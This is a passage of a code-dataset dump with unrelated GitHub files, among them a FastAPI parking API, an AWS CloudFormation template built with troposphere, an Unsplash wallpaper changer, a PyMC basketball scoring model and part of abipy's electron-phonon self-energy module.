break\n","repo_name":"simonamdev/how-many-fingers","sub_path":"show_edges.py","file_name":"show_edges.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5002799438","text":"from random import randint\n\nN = 10\nA = [randint(10,100) for i in range(N)]\nprint(\"Изначальный массив:\", A)\n\nfor i in range(N - 1):\n for j in range(N - i - 1):\n if A[j] > A[j + 1]:\n A[j], A[j + 1] = A[j + 1], A[j]\n\nprint(\"Отсортированный массив:\", A)","repo_name":"Varnajack/Algoritms","sub_path":"lab_3/number_24.py","file_name":"number_24.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73418056874","text":"from typing import Optional\nfrom fastapi import APIRouter, Response, status\nfrom datetime import datetime\n\nfrom src.api.resources.places import get_all_places, get_parking_places, get_place_status, do_occupy_place, do_free_place, do_reserve_place\nfrom src.api.resources.parking_history import db_initialize_record, db_add_end_to_record\nfrom src.api.resources.charger import get_real_battery_status, get_real_battery_volume, get_real_charging_speed\nfrom src.api.resources.cars import db_set_car_battery, db_is_car_battery_null\n\n\nrouter = APIRouter()\n\nFREE = 0\nRESERVED = 1\nOCCUPIED = 2\n\n\n@router.get(\"/\")\ndef get_places(parking_id: Optional[int] = None):\n if parking_id is None:\n places = get_all_places()\n else:\n places = get_parking_places(parking_id)\n places_response = [\n {\n \"id\": r_index,\n \"status\": r_place_status,\n \"level\": r_level\n } for r_index, r_place_status, r_level in places\n ]\n return {\"places\": places_response}\n\n\n@router.get(\"/{place_id}\")\ndef place_status(place_id: int):\n return {\"status\": get_place_status(place_id)}\n\n\n@router.put(\"/occupy\")\ndef occupy_place(id: int, car: int, response: Response):\n current_status = get_place_status(id)\n if current_status == RESERVED:\n db_initialize_record(id, car, str(datetime.now()), get_real_battery_status(id), get_real_charging_speed(id))\n if (db_is_car_battery_null(car)):\n db_set_car_battery(car, get_real_battery_volume(id))\n r = do_occupy_place(id)\n response.status_code = status.HTTP_200_OK\n return {\"message\": \"Place successfully occupied!\"}\n else:\n response.status_code = status.HTTP_409_CONFLICT\n return {\"message\": \"Couldn't occupy the place\"}\n\n\n@router.put(\"/free\")\ndef free_place(id: int, response: Response):\n current_status = get_place_status(id)\n if current_status == OCCUPIED:\n db_add_end_to_record(id, str(datetime.now()), get_real_battery_status(id))\n r = do_free_place(id)\n response.status_code = status.HTTP_200_OK\n else:\n response.status_code = status.HTTP_409_CONFLICT\n return\n\n\n@router.put(\"/reserve\")\ndef reserve_place(id: int, response: Response):\n current_status = get_place_status(id)\n if current_status == FREE:\n r = do_reserve_place(id)\n response.status_code = status.HTTP_200_OK\n else:\n response.status_code = status.HTTP_409_CONFLICT\n return\n","repo_name":"MNedashkivskyi/parking-app-backend-fastapi","sub_path":"src/api/routers/places.py","file_name":"places.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26269379738","text":"import os\n\n__location__ = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__)))\n\n# def find_path(graph, start, end, path=[]):\n# path = path + [start]\n# if start == end:\n# return path\n# if start not in graph:\n# return None\n# for node in graph[start]:\n# if node not in path:\n# newpath = find_path(graph, node, end, path)\n# if newpath: return newpath\n# return None\n\ndef find_all_paths(graph, start, end, path=[]):\n path = path + [start]\n if start == end:\n return [path]\n if start not in graph:\n return []\n paths = []\n for node in graph[start]:\n if node not in path or node != node.lower():\n newpaths = find_all_paths(graph, node, end, path)\n for newpath in newpaths:\n paths.append(newpath)\n return paths\n\ninput_data = []\noutput = []\n\nwith open(os.path.join(__location__,\"input.txt\")) as file:\n while True:\n input_line = file.readline().strip()\n if not input_line:\n break\n\n input_data.append(input_line.split(\"-\"))\n\nlist_of_vertices = set([j for i in input_data for j in i])\ncave_system = dict()\n\nfor vertex in list_of_vertices:\n cave_system[vertex] = []\n\nfor path in input_data:\n if path[1] not in set(cave_system[path[0]]):\n cave_system[path[0]].append(path[1])\n cave_system[path[1]].append(path[0])\n\nprint(len(find_all_paths(cave_system,\"start\", \"end\")))","repo_name":"TommyUnreal/adventofcode2021","sub_path":"12/puzzle_1.py","file_name":"puzzle_1.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26488074228","text":"from troposphere import (GetAtt, Join, Sub, Output, FindInMap, Parameter, Ref,\n Template, ImportValue)\nfrom troposphere.cloudfront import (Distribution, DistributionConfig, Origin,\n DefaultCacheBehavior, ForwardedValues,\n ViewerCertificate, CustomOrigin, Logging,\n CustomErrorResponse, Cookies)\nfrom troposphere.s3 import (Bucket, PublicRead, WebsiteConfiguration,\n RedirectAllRequestsTo)\nfrom troposphere.route53 import (RecordSetType, AliasTarget)\n\nt = Template()\n\nt.add_description(\n 'Template for creating an AWS stack for serving the IYPM front-end.')\n\nt.add_mapping('RegionMap', {\n 'us-east-2': {\n 'HostedZoneId': 'Z2O1EMRO9K5GLX',\n 'WebsiteEndpoint': 's3-website.us-east-2.amazonaws.com'\n },\n 'us-east-1': {\n 'HostedZoneId': 'Z3AQBSTGFYJSTF',\n 'WebsiteEndpoint': 's3-website-us-east-1.amazonaws.com'\n },\n 'us-west-1': {\n 'HostedZoneId': 'Z2F56UZL2M1ACD',\n 'WebsiteEndpoint': 's3-website-us-west-1.amazonaws.com'\n },\n 'us-west-2': {\n 'HostedZoneId': 'Z3BJ6K6RIION7M',\n 'WebsiteEndpoint': 's3-website-us-west-2.amazonaws.com'\n },\n 'ca-central-1': {\n 'HostedZoneId': 'Z1QDHH18159H29',\n 'WebsiteEndpoint': 's3-website.ca-central-1.amazonaws.com'\n },\n 'ap-south-1': {\n 'HostedZoneId': 'Z11RGJOFQNVJUP',\n 'WebsiteEndpoint': 's3-website.ap-south-1.amazonaws.com'\n },\n 'ap-northeast-2': {\n 'HostedZoneId': 'Z3W03O7B5YMIYP',\n 'WebsiteEndpoint': 's3-website.ap-northeast-2.amazonaws.com'\n },\n 'ap-southeast-1': {\n 'HostedZoneId': 'Z3O0J2DXBE1FTB',\n 'WebsiteEndpoint': 's3-website-ap-southeast-1.amazonaws.com'\n },\n 'ap-southeast-2': {\n 'HostedZoneId': 'Z1WCIGYICN2BYD',\n 'WebsiteEndpoint': 's3-website-ap-southeast-2.amazonaws.com'\n },\n 'ap-northeast-1': {\n 'HostedZoneId': 'Z2M4EHUR26P7ZW',\n 'WebsiteEndpoint': 's3-website-ap-northeast-1.amazonaws.com'\n },\n 'eu-central-1': {\n 'HostedZoneId': 'Z21DNDUVLTQW6Q',\n 'WebsiteEndpoint': 's3-website.eu-central-1.amazonaws.com'\n },\n 'eu-west-1': {\n 'HostedZoneId': 'Z1BKCTXD74EZPE',\n 'WebsiteEndpoint': 's3-website-eu-west-1.amazonaws.com'\n },\n 'eu-west-2': {\n 'HostedZoneId': 'Z3GKZC51ZF0DB4',\n 'WebsiteEndpoint': 's3-website.eu-west-2.amazonaws.com'\n },\n 'sa-east-1': {\n 'HostedZoneId': 'Z7KQH4QJS55SO',\n 'WebsiteEndpoint': 's3-website-sa-east-1.amazonaws.com'\n }\n})\n\n# Parameters\nzone_name = t.add_parameter(\n Parameter(\n 'ZoneName',\n Description='The name of the DNS Zone (example.com)',\n Type='String'))\n\ndomain_stack_name = t.add_parameter(\n Parameter(\n 'DomainStackName',\n Description='Domain stack which exports a ZoneId',\n Type='String'))\n\nacm_cert_arn = t.add_parameter(\n Parameter(\n 'ACMCertARN',\n Description='ACM certificate ARN covering the desired DNS zone',\n Type='String'))\n\n# S3 Buckets\nroot_bucket = t.add_resource(\n Bucket(\n 'RootBucket',\n BucketName=Sub('${ZoneName}-root'),\n AccessControl=PublicRead,\n WebsiteConfiguration=WebsiteConfiguration(\n IndexDocument='index.html', ErrorDocument='index.html')))\n\nredirect_bucket = t.add_resource(\n Bucket(\n 'RedirectBucket',\n BucketName=Sub('${ZoneName}-redirect'),\n AccessControl=PublicRead,\n WebsiteConfiguration=WebsiteConfiguration(\n RedirectAllRequestsTo=RedirectAllRequestsTo(\n HostName=Ref(zone_name), Protocol='https'), )))\n\nlog_bucket = t.add_resource(\n Bucket('AccessLogBucket', BucketName=Sub('${ZoneName}-log')))\n\n# Cloudfront Distributions\nroot_distribution = t.add_resource(\n Distribution(\n 'RootDistribution',\n DistributionConfig=DistributionConfig(\n Comment='Cloudfront distribution for zone root',\n Aliases=[Ref(zone_name)],\n Origins=[\n Origin(\n Id='RootEndpoint',\n DomainName=Join('.', [\n Ref(root_bucket),\n FindInMap('RegionMap',\n Ref('AWS::Region'), 'WebsiteEndpoint')\n ]),\n CustomOriginConfig=CustomOrigin(\n OriginProtocolPolicy='http-only'))\n ],\n DefaultCacheBehavior=DefaultCacheBehavior(\n Compress=True,\n CachedMethods=['GET', 'HEAD'],\n TargetOriginId='RootEndpoint',\n ForwardedValues=ForwardedValues(\n QueryString=False, Cookies=Cookies(Forward='none')),\n ViewerProtocolPolicy='redirect-to-https'),\n CustomErrorResponses=[\n CustomErrorResponse(\n ErrorCode=404, ResponseCode=200, ResponsePagePath='/')\n ],\n DefaultRootObject='index.html',\n Enabled=True,\n Logging=Logging(\n Bucket=GetAtt(log_bucket, 'DomainName'), IncludeCookies=True),\n PriceClass='PriceClass_All',\n HttpVersion='http2',\n ViewerCertificate=ViewerCertificate(\n AcmCertificateArn=Ref(acm_cert_arn),\n SslSupportMethod='sni-only'))))\n\nredirect_distribution = t.add_resource(\n Distribution(\n 'RedirectDistribution',\n DistributionConfig=DistributionConfig(\n Comment='Cloudfront distribution for wildcard redirection',\n Aliases=[Sub('*.${ZoneName}')],\n Origins=[\n Origin(\n Id=Sub('RedirectEndpoint'),\n DomainName=Join('.', [\n Ref(redirect_bucket),\n FindInMap('RegionMap',\n Ref('AWS::Region'), 'WebsiteEndpoint')\n ]),\n CustomOriginConfig=CustomOrigin(\n OriginProtocolPolicy='http-only'))\n ],\n DefaultCacheBehavior=DefaultCacheBehavior(\n Compress=True,\n CachedMethods=['GET', 'HEAD'],\n TargetOriginId='RedirectEndpoint',\n ForwardedValues=ForwardedValues(\n QueryString=False, Cookies=Cookies(Forward='none')),\n ViewerProtocolPolicy='allow-all'),\n Enabled=True,\n PriceClass='PriceClass_All',\n HttpVersion='http2',\n ViewerCertificate=ViewerCertificate(\n AcmCertificateArn=Ref(acm_cert_arn),\n SslSupportMethod='sni-only'))))\n\n# Route53 Records\nroot_alias_record = t.add_resource(\n RecordSetType(\n 'RootDistributionAliasRecord',\n HostedZoneId=ImportValue(Sub('${DomainStackName}-R53Zone')),\n Comment='Apex alias record for root distribution',\n Name=Sub('${ZoneName}.'),\n Type='A',\n AliasTarget=AliasTarget(\n DNSName=GetAtt(root_distribution, 'DomainName'),\n HostedZoneId='Z2FDTNDATAQYW2')))\n\nwildcard_alias_record = t.add_resource(\n RecordSetType(\n 'RedirectDistributionAliasRecord',\n HostedZoneId=ImportValue(Sub('${DomainStackName}-R53Zone')),\n Comment='Wildcard alias record for redirect distribution',\n Name=Sub('*.${ZoneName}.'),\n Type='A',\n AliasTarget=AliasTarget(\n DNSName=GetAtt(redirect_distribution, 'DomainName'),\n HostedZoneId='Z2FDTNDATAQYW2')))\n\nt.add_output([\n Output(\n 'RootDistributionId',\n Description='Cloudfront distribution ID for root zone',\n Value=Ref(root_distribution)),\n Output(\n 'RootDistributionEndpoint',\n Description='Cloudfront endpoint for root zone',\n Value=Join('', ['http://',\n GetAtt(root_distribution, 'DomainName')])),\n Output(\n 'RedirectDistributionId',\n Description='Cloudfront distribution ID for subdomain wildcard redirect',\n Value=Ref(redirect_distribution)),\n Output(\n 'RedirectDistributionEndpoint',\n Description='Cloudfront endpoint for subdomain wildcard redirect',\n Value=Join('',\n ['http://',\n GetAtt(redirect_distribution, 'DomainName')])),\n Output(\n 'AccessLogBucket',\n Description='Cloudfront access log S3 bucket ID',\n Value=Ref(log_bucket))\n])\n\nprint(t.to_json())\n","repo_name":"minnsoe/ifyoupayme","sub_path":"iypm_service.py","file_name":"iypm_service.py","file_ext":"py","file_size_in_byte":8588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43122186792","text":"import ctypes\nfrom tkinter import *\nimport winreg as reg\nimport os\nimport json\nimport dotenv\nimport requests\nimport datetime\nimport time\n\ndotenv.load_dotenv()\n\nos.chdir('G:/New folder/TTS/wallpaperChanging')\n\njson_file = open('conf.json')\nconf = json.load(json_file)\n\nclass Main:\n path = str(os.getcwd())\n\n def download_image(self):\n Headers = { \"Authorization\" : f\"Client-ID {os.environ.get('ACCESS_KEY')}\" }\n request = requests.get(\"https://api.unsplash.com/photos/random?per_page=1&query=wallpaper?order_by=latest?orientation=landscape\",headers=Headers)\n request = requests.get(request.json()[\"urls\"][\"full\"],headers=Headers)\n filename = 'image.jpg'\n if(request.status_code==200):\n with open(filename, 'wb') as f:\n f.write(request.content)\n json_file = open(\"conf.json\")\n conf = json.load(json_file)\n json_file = open(\"conf.json\", \"w\")\n json_file.writelines(json.dumps({\n **conf,\n 'last_image_update_time':str(datetime.datetime.now().replace(microsecond=0)),\n 'next_image_update_time':str(datetime.datetime.now().replace(microsecond=0)+datetime.timedelta(minutes = int(conf['background_change_time_in_minutes'])))\n }))\n def run_background(self):\n while(True):\n json_file = open('conf.json')\n conf = json.load(json_file)\n if(str(datetime.datetime.now().replace(microsecond=0))==conf[\"next_image_update_time\"]):\n self.download_image()\n self.set_wallpaper(\"image.jpg\")\n print(\"yes\")\n print(\"no\")\n print(str(datetime.datetime.now().replace(microsecond=0))==conf[\"next_image_update_time\"])\n print(str(datetime.datetime.now().replace(microsecond=0)))\n print(conf[\"next_image_update_time\"])\n time.sleep(3)\n\n def set_wallpaper(self, image_name):\n ctypes.windll.user32.SystemParametersInfoW(20, 0, f\"{self.path}\\\\{image_name}\" , 0)\n\napplication = Main()\n\nif (conf[\"run_in_background\"]):\n application.download_image()\n application.set_wallpaper(\"image.jpg\")\n application.run_background()\nelse:\n application.download_image()\n application.set_wallpaper(\"image.jpg\")\n\n\n","repo_name":"Rehan989/background-windows-wallpaper-changes","sub_path":"main.pyw","file_name":"main.pyw","file_ext":"pyw","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"42252052393","text":"from Vector import Vector\nfrom coordinates import *\n\ndef gravity(body):\n\tworld = body.world\n\tsumForce = Vector(0, 0)\n\tfor actor in world.bodies:\n\t\tif actor != body:\n\t\t\t# print(actor.name, \" attire \", body.name, \" vers \", object_to_world(actor, actor.G))\n\t\t\tunitVec = (object_to_world(body, body.G) - object_to_world(actor, actor.G) )\n\t\t\tdistance = unitVec.norm();\n\t\t\tunitVec /= distance;\n\t\t\tsumForce += unitVec * (-6.674e-11 * (actor.mass * body.mass) / (distance*distance))\n\treturn sumForce\n\ndef wind(body):\n\treturn Vector(1, 0)\n\n","repo_name":"ThomasChevalier/moteur_physique_pcsi","sub_path":"src/forces.py","file_name":"forces.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35489467901","text":"import scipy.stats as stats\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pymc as pm\nimport arviz as az\nimport pandas as pd\nimport xarray as xr\nfrom sklearn.preprocessing import scale\nimport scipy\nfrom scipy.special import expit\nimport pandas as pd\nimport pytensor.tensor as pt\nimport matplotlib.pyplot as plt\n\nclass TeamLabeller(az.labels.BaseLabeller):\n def make_label_flat(self, var_name, sel, isel):\n sel_str = self.sel_to_str(sel, isel)\n return sel_str\n\n\n# df_nugget_box = pd.read_csv(\"data/df_nuggets_games.csv\", index_col=\"Unnamed: 0\")\n# df_nugget_box[\"is_win\"] = np.where(df_nugget_box[\"WL\"]==\"W\", 1, 0)\n# df_nugget_box[\"AST_PCT\"] = df_nugget_box[\"AST\"] / df_nugget_box[\"FGM\"]\n# df_nugget_box[\"FG3_PCT_OF_FG_TOT\"] = df_nugget_box[\"FG3A\"] / df_nugget_box[\"FGA\"]\n# df_nugget_box.head()\n\ndf_all_games = pd.read_csv(\"data/gamelogs_allteams_22_23.csv\", index_col=0)\ndf_all_games[\"team_name\"] = df_all_games[\"MATCHUP\"].str.split(\" \").str[0] \ndf_all_games[\"is_win\"] = np.where(df_all_games[\"WL\"]==\"W\", 1, 0)\ndf_all_games[\"is_home\"] = np.where(df_all_games[\"MATCHUP\"].str.contains(\"vs.\"), 1, 0)\ndf_all_games[\"AST_PCT\"] = df_all_games[\"AST\"] / df_all_games[\"FGM\"]\ndf_all_games[\"FG3_PCT_OF_FG_TOT\"] = df_all_games[\"FG3A\"] / df_all_games[\"FGA\"]\ndf_all_games[\"GAME_DATE\"] = pd.to_datetime(df_all_games[\"GAME_DATE\"])\n\n# add column wich contains number of days between games for each team\ndf_all_games = df_all_games.sort_values([\"team_name\", \"GAME_DATE\"], ascending=[True, True])\ndf_all_games[\"days_since_last_game\"] = df_all_games.groupby(\"team_name\")[\"GAME_DATE\"].diff().dt.days.abs()\n# add columns which contains number of games played in the last 7 days per team\n\n# set GAME_DATE as index\ndf_all_games = df_all_games.set_index(\"GAME_DATE\")\n\ndf_all_games['games_played_last_7_days'] = df_all_games.groupby('team_name')['TEAM_ID'].rolling('7D').count() # .reset_index(0, drop=True)\ndf_all_games.head(5)\n\n\nteam_idx, teams = pd.factorize(df_all_games[\"team_name\"], sort=True)\n# away_idx, _ = pd.factorize(df_all_games[\"away_team\"], sort=True)\ncoords = {\"team\": teams}\n\n# pymc model to predict points scored\nwith pm.Model(coords=coords) as home_away_allteams:\n team = pm.ConstantData(\"home_team\", team_idx, dim=\"games\")\n home_away = df_all_games[\"is_home\"].astype(\"category\").cat.codes\n \n team_strength = pm.Normal(\"mu\",100, 30, dims=\"team\")\n mu = team_strength[team_idx]\n points_scored = pm.Poisson(\"points_scored\", mu=mu, observed=df_all_games[\"PTS\"])\n trace = pm.sample(draws=1000,tune=1500)\n \naz.plot_trace(trace, var_names=[\"mu\"])\naz.summary(trace, kind=\"diagnostics\")\naz.plot_forest(trace, var_names=[\"mu\"], coords={\"team\": teams}, combined=True, figsize=(10, 5))\n\n\n# The above code defines a home advantage model for the NBA data. It is a \n# hierarchical model that includes a team strength model and a home advantage\n# model. The team strength model is a normal distribution with mean 100 and \n# standard deviation 30. The home advantage model is a normal distribution with\n# mean 0 and standard deviation 10. The team strength and home advantage \n# distributions are then used to generate a points scored variable.\nwith pm.Model(coords=coords) as home_adv_model:\n team = pm.ConstantData(\"home_team\", team_idx, dim=\"games\")\n is_home = df_all_games[\"is_home\"].values\n # team strength model\n team_strength = pm.Normal(\"mu\", 100, 30, dims=\"team\")\n mu = team_strength[team_idx]\n # home advantage model\n home_adv = pm.Normal(\"home_advantage\", 0, 10, dims=\"team\")\n home_adv_vector = pm.math.switch(is_home, home_adv[team_idx], -home_adv[team_idx])\n mu += home_adv_vector\n # likelihood\n points_scored = pm.Poisson(\"points_scored\", mu=mu, observed=df_all_games[\"PTS\"])\n trace = pm.sample(draws=1000, tune=1500)\n \n# alternative model\n# with pm.Model(coords=coords) as home_away_allteams:\n# team_id = pm.ConstantData(\"team_id\", team_idx, dim=\"games\")\n# is_home = pm.ConstantData(\"is_home\", is_home_idx, dims=\"games\")\n# \n# \n# base_score = pm.Normal(\"base_score\", 100, 20)\n# sd_strength = pm.HalfNormal(\"sd_strength\", sigma=5)\n# sd_home = pm.HalfNormal(\"sd_home\", sigma=5)\n# team_strength = pm.Normal(\"team_strength\", 0, sd_strength, dims=\"team\")\n# home_advantage = pm.Normal(\"home_advantage\", 0, sd_home, dims=\"team\")\n# mu = base_score + team_strength[team_idx] + home_advantage[team_id]*is_home\n\nwith home_away_allteams:\n home_adv_trace = trace.posterior[\"home_advantage\"]\n \naz.plot_forest(home_adv_trace, var_names=\"home_advantage\", coords={\"team\": teams})\nax[0].set_title(\"home_advantage\");\nplt.title(\"Comparison of Home Advantage between Model 1 and Model 2\")\nplt.show()\n# az.plot_forest([trace, trace], model_names=[\"Model 1\", \"Model 2\"], var_names=[\"home_advantage\"])\n\n\n\n","repo_name":"Niggl0n/nba_pymc","sub_path":"src/model_scoring.py","file_name":"model_scoring.py","file_ext":"py","file_size_in_byte":4806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21914396170","text":"# coding: utf-8\n\"\"\"\nThis module contains objects for postprocessing e-ph calculations\nusing the results stored in the SIGEPH.nc file.\n\nFor a theoretical introduction see :cite:`Giustino2017`\n\"\"\"\nfrom __future__ import annotations\n\nimport tempfile\nimport pickle\nimport os\nimport numpy as np\nimport pandas as pd\nimport abipy.core.abinit_units as abu\n\nfrom collections import OrderedDict, namedtuple\nfrom collections.abc import Iterable\nfrom tabulate import tabulate\nfrom monty.string import marquee, list_strings\nfrom monty.functools import lazy_property\nfrom monty.termcolor import cprint\nfrom abipy.core.structure import Structure\nfrom abipy.core.mixins import AbinitNcFile, Has_Structure, Has_ElectronBands, NotebookWriter\nfrom abipy.core.kpoints import Kpoint, KpointList, Kpath, IrredZone, has_timrev_from_kptopt, find_points_along_path\nfrom abipy.tools.plotting import (add_fig_kwargs, get_ax_fig_plt, get_axarray_fig_plt, set_axlims, set_visible,\n rotate_ticklabels, ax_append_title, set_ax_xylabels, linestyles)\nfrom abipy.tools import duck\nfrom abipy.tools.numtools import gaussian\nfrom abipy.electrons.ebands import ElectronBands, ElectronDos, RobotWithEbands, ElectronBandsPlotter, ElectronDosPlotter\nfrom abipy.tools.typing import Figure\nfrom abipy.abio.robots import Robot\nfrom abipy.eph.common import BaseEphReader\n\n\n__all__ = [\n \"QpTempState\",\n \"QpTempList\",\n \"EphSelfEnergy\",\n \"SigEPhFile\",\n \"SigEPhRobot\",\n \"TdepElectronBands\",\n \"SigmaPhReader\",\n]\n\n# TODO QPState and QPList from electrons.gw (Define base abstract class?).\n# __eq__ based on skb?\n# broadening, adiabatic ??\n\n\nclass QpTempState(namedtuple(\"QpTempState\", \"spin kpoint band tmesh e0 qpe ze0 fan0 dw qpe_oms\")):\n \"\"\"\n Quasi-particle result for given (spin, kpoint, band).\n\n .. Attributes:\n\n spin: Spin index (C convention, i.e >= 0)\n kpoint: |Kpoint| object.\n band: band index. Global index in the band structure. (C convention, i.e >= 0).\n tmesh: Temperature mesh in Kelvin.\n e0: Initial KS energy.\n qpe: Quasiparticle energy (complex) computed with the linearized perturbative approach (Z factor).\n ze0: Renormalization factor Z computed at e = e0.\n fan0: Fan term (complex) evaluated at e_KS\n dw: Debye-Waller (static, real)\n qpe_oms: Quasiparticle energy (real) in the on-the-mass-shell approximation:\n qpe_oms = e0 + Sigma(e0)\n\n .. note::\n\n Energies are in eV.\n \"\"\"\n\n @lazy_property\n def qpeme0(self):\n \"\"\"E_QP[T] - E_0 (Real part)\"\"\"\n return (self.qpe - self.e0).real\n\n @lazy_property\n def re_qpe(self):\n \"\"\"Real part of the QP energy.\"\"\"\n return self.qpe.real\n\n @lazy_property\n def imag_qpe(self):\n \"\"\"Imaginay part of the QP energy.\"\"\"\n return self.qpe.imag\n\n @property\n def re_fan0(self):\n \"\"\"Real part of the Fan term at KS.\"\"\"\n return self.fan0.real\n\n @property\n def imag_fan0(self):\n \"\"\"Imaginary part of the Fan term at KS.\"\"\"\n return self.fan0.imag\n\n @lazy_property\n def re_sig0(self):\n \"\"\"Real part of the self-energy computed at the KS energy.\"\"\"\n return self.re_fan0 + self.dw\n\n @lazy_property\n def imag_sig0(self):\n \"\"\"Imaginary part of the self-energy computed at the KS energy.\"\"\"\n return self.imag_fan0\n\n @lazy_property\n def skb(self):\n \"\"\"Tuple with (spin, kpoint, band)\"\"\"\n return self.spin, self.kpoint, self.band\n\n @classmethod\n def get_fields(cls, exclude=()):\n fields = list(cls._fields) + [\"qpeme0\"]\n for e in exclude:\n fields.remove(e)\n return tuple(fields)\n\n def _repr_html_(self):\n \"\"\"Integration with jupyter_ notebooks.\"\"\"\n return self.get_dataframe()._repr_html_()\n\n def __str__(self):\n return self.to_string()\n\n def to_string(self, verbose=0, title=None) -> str:\n \"\"\"\n String representation with verbosity level ``verbose`` and optional ``title``.\n \"\"\"\n s = str(self.get_dataframe())\n return \"\\n\".join([marquee(title, mark=\"=\"), s]) if title is not None else s\n\n def get_dataframe(self, index=None, with_spin=True, params=None) -> pd.DataFrame:\n \"\"\"\n Build pandas dataframe with QP results\n\n Args:\n index: dataframe index.\n with_spin: False if spin index is not wanted.\n params: Optional (Ordered) dictionary with extra parameters.\n\n Return: |pandas-DataFrame|\n \"\"\"\n # TODO Add more entries (tau?)\n od = OrderedDict()\n tokens = \"band e0 re_qpe qpeme0 re_sig0 imag_sig0 ze0 re_fan0 dw tmesh\"\n if with_spin:\n tokens = \"spin \" + tokens\n\n for k in tokens.split():\n if k in (\"e0\", \"spin\", \"kpoint\", \"band\"):\n # This quantities do not depend on temp.\n od[k] = [getattr(self, k)] * len(self.tmesh)\n else:\n # TODO\n #if k == \"tmesh\":\n # od[\"T\"] = getattr(self, k)\n #else:\n od[k] = getattr(self, k)\n\n if params is not None: od.update(params)\n\n return pd.DataFrame(od, index=index)\n\n @classmethod\n def get_fields_for_plot(cls, vs, with_fields, exclude_fields):\n \"\"\"\n Return list of QpTempState fields to plot from input arguments.\n\n Args:\n vs in [\"temp\", \"e0\"]\n with_fields:\n exclude_fields:\n \"\"\"\n if vs == \"temp\":\n all_fields = list(cls.get_fields(exclude=[\"spin\", \"kpoint\", \"band\", \"e0\", \"tmesh\"]))\n elif vs == \"e0\":\n all_fields = list(cls.get_fields(exclude=[\"spin\", \"kpoint\", \"band\", \"e0\", \"tmesh\"]))\n else:\n raise ValueError(\"Invalid vs: `%s`\" % str(vs))\n\n # Initialize fields.\n if duck.is_string(with_fields) and with_fields == \"all\":\n fields = all_fields\n else:\n fields = list_strings(with_fields)\n for f in fields:\n if f not in all_fields:\n raise ValueError(\"Field %s not in allowed values %s\" % (f, str(all_fields)))\n\n # Remove entries\n if exclude_fields:\n if duck.is_string(exclude_fields):\n exclude_fields = exclude_fields.split()\n for e in exclude_fields:\n fields.remove(e)\n\n return fields\n\n @add_fig_kwargs\n def plot(self, with_fields=\"all\", exclude_fields=None, ax_list=None, label=None, fontsize=8, **kwargs) -> Figure:\n \"\"\"\n Plot the QP results as function of temperature.\n\n Args:\n with_fields: The names of the QpTempState attributes to plot as function of e0.\n Accepts: List of strings or string with tokens separated by blanks.\n See :class:`QpTempState` for the list of available fields.\n exclude_fields: Similar to `with_field` but excludes fields.\n ax_list: List of matplotlib axes for plot. If None, new figure is produced.\n label: Label for plot.\n fontsize: Fontsize for legend and title.\n\n Returns: |matplotlib-Figure|\n \"\"\"\n fields = self.get_fields_for_plot(\"temp\", with_fields, exclude_fields)\n if not fields: return None\n\n num_plots, ncols, nrows = len(fields), 1, 1\n if num_plots > 1:\n ncols = 2\n nrows = (num_plots // ncols) + (num_plots % ncols)\n\n # Build plot grid.\n ax_list, fig, plt = get_axarray_fig_plt(ax_list, nrows=nrows, ncols=ncols,\n sharex=True, sharey=False, squeeze=False)\n ax_list = np.array(ax_list).ravel()\n\n linestyle = kwargs.pop(\"linestyle\", \"o\")\n #kw_color = kwargs.pop(\"color\", None)\n #kw_label = kwargs.pop(\"label\", None)\n for ix, (field, ax) in enumerate(zip(fields, ax_list)):\n irow, icol = divmod(ix, ncols)\n ax.grid(True)\n if irow == nrows - 1: ax.set_xlabel(\"Temperature [K]\")\n ax.set_ylabel(field)\n yy = getattr(self, field)\n lbl = label if ix == 0 and label is not None else None\n\n # Handle complex arrays\n #if np.iscomplexobj(yy):\n # ax.plot(self.tmesh, yy.real, linestyle, label=lbl, **kwargs)\n # ax.plot(self.tmesh, yy.imag, linestyle, label=lbl, **kwargs)\n #else:\n ax.plot(self.tmesh, yy.real, linestyle, label=lbl, **kwargs)\n\n # Get around a bug in matplotlib\n if num_plots % ncols != 0: ax_list[-1].axis('off')\n\n if lbl is not None:\n ax_list[0].legend(loc=\"best\", fontsize=fontsize, shadow=True)\n\n #fig.tight_layout()\n return fig\n\n\nclass QpTempList(list):\n \"\"\"\n A list of quasiparticle corrections (usually for a given spin).\n \"\"\"\n def __init__(self, *args, **kwargs):\n super().__init__(*args)\n self.is_e0sorted = kwargs.get(\"is_e0sorted\", False)\n\n @property\n def tmesh(self):\n \"\"\"Temperature mesh in Kelvin.\"\"\"\n if len(self):\n return self[0].tmesh\n return []\n\n @property\n def ntemp(self) -> int:\n \"\"\"Number of temperatures.\"\"\"\n return len(self.tmesh)\n\n def __repr__(self):\n return \"<%s at %s, len=%d>\" % (self.__class__.__name__, id(self), len(self))\n\n def __str__(self):\n \"\"\"String representation.\"\"\"\n return self.to_string()\n\n def to_string(self, verbose=0, title=None) -> str:\n \"\"\"String representation.\"\"\"\n lines = []; app = lines.append\n app(marquee(\"QpTempList\", mark=\"=\"))\n app(\"nqps: %d\" % len(self))\n app(\"ntemps: %d\" % self.ntemp)\n return \"\\n\".join(lines)\n\n #def copy(self):\n # \"\"\"Copy of self.\"\"\"\n # return self.__class__([qp.copy() for qp in self], is_e0sorted=self.is_e0sorted)\n\n def sort_by_e0(self):\n \"\"\"Return a new :class:`QpTempList` object with the E0 energies sorted in ascending order.\"\"\"\n return self.__class__(sorted(self, key=lambda qp: qp.e0), is_e0sorted=True)\n\n def get_e0mesh(self):\n \"\"\"Return the E0 energies.\"\"\"\n if not 